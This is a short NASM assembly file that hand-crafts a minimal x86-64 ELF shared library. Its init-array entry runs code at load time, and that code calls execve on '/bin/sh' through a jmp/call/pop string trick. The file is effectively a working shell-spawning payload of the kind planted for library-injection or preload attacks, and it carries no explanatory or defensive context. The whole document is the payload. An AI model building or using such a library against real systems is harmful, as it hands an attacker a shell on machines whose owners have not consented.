[BITS 64] ;ehdr db 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00 db 0x00,0x00,0x00,0x00, 0x00, 0x00, 0x00, dw 3 dw 62 dd 1 init_array: dq start dq phdrs dq 0 dd 0 dw 64 dw 56 dw 2 phdrs: dd 1 dd 7 dq 0 dq 0 start: ;int3 sub sp,ax xor rdx,rdx jmp short x xxx: pop rdi push rdx push rdi mov rsi,rsp push 59 pop rax syscall db 0 db 0 dw 0 dd 0x100000 dd 0 db 0 dd 2 dd (1<<1) | (1<<2) dynamic: ;DT_STRTAB dq 5 strtab: dq dynamic ;dq 0x000000000000005, strtab ;DT_INIT_ARRAY dq 0x0000000000000c, start ;DT_SYMTAB dq 0x0000000000000006 dd 0x90 dw 0x90 x: call xxx db "/bin/sh",0 symtab: shdrs: